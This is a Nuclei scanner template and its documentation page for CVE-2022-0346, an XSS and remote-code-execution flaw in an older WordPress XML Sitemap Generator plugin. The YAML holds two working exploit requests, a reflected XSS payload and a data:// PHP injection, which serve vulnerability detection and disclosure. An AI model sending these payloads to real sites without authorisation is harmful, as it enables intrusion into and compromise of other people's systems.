WordPress XML Sitemap Generator for Google <2.0.4 - Cross-Site Scripting/Remote Code Execution

ID: CVE-2022-0346

Severity: medium

Author: Akincibor,theamanrawat

Tags: cve2022,cve,wpscan,wp,wordpress,wp-plugin,xss,www-xml-sitemap-generator-org,xmlsitemapgenerator

Description

WordPress XML Sitemap Generator for Google plugin before 2.0.4 contains a cross-site scripting vulnerability that can lead to remote code execution. It does not validate a parameter which can be set to an arbitrary value, thus causing cross-site scripting via error message or remote code execution if allow_url_include is turned on.

YAML Source

id: CVE-2022-0346

info:
  name: WordPress XML Sitemap Generator for Google <2.0.4 - Cross-Site Scripting/Remote Code Execution
  author: Akincibor,theamanrawat
  severity: medium
  description: |
    WordPress XML Sitemap Generator for Google plugin before 2.0.4 contains a cross-site scripting vulnerability that can lead to remote code execution. It does not validate a parameter which can be set to an arbitrary value, thus causing cross-site scripting via error message or remote code execution if allow_url_include is turned on.
  impact: |
    Successful exploitation of these vulnerabilities could allow an attacker to execute arbitrary code on the affected system or inject malicious scripts into web pages viewed by users.
  remediation: |
    Update the WordPress XML Sitemap Generator for Google plugin to version 2.0.4 or later to mitigate the XSS and RCE vulnerabilities.
  reference:
    - https://wpscan.com/vulnerability/4b339390-d71a-44e0-8682-51a12bd2bfe6
    - https://wordpress.org/plugins/www-xml-sitemap-generator-org/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0346
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0346
    cwe-id: CWE-79
    epss-score: 0.00088
    epss-percentile: 0.36353
    cpe: cpe:2.3:a:xmlsitemapgenerator:xml_sitemap_generator:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: xmlsitemapgenerator
    product: xml_sitemap_generator
    framework: wordpress
  tags: cve2022,cve,wpscan,wp,wordpress,wp-plugin,xss,www-xml-sitemap-generator-org,xmlsitemapgenerator

http:
  - method: GET
    path:
      - '{{BaseURL}}/?p=1&xsg-provider=%3Cimg%20src%20onerror=alert(document.domain)%3E&xsg-format=yyy&xsg-type=zz&xsg-page=pp'
      - '{{BaseURL}}/?p=1&xsg-provider=data://text/html,<?php%20echo%20md5("CVE-2022-0346");%20//&xsg-format=yyy&xsg-type=zz&xsg-page=pp'

    stop-at-first-match: true
    matchers:
      - type: word
        part: body_1
        words:
          - "<img src onerror=alert(document.domain)>"
          - "Invalid Provider type specified"
        condition: and

      - type: word
        part: body_2
        words:
          - "2ef3baa95802a4b646f2fc29075efe34"
# digest: 490a0046304402205c2423dc5cd509ef82d4c64bfc895d19f6f9d3ef16460fbd1d58f788b3bb148b022039c6b2ffdb613ce6e66264a663c3468aecb1ce25625a1d792ec83fce54ca533e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0346.yaml"

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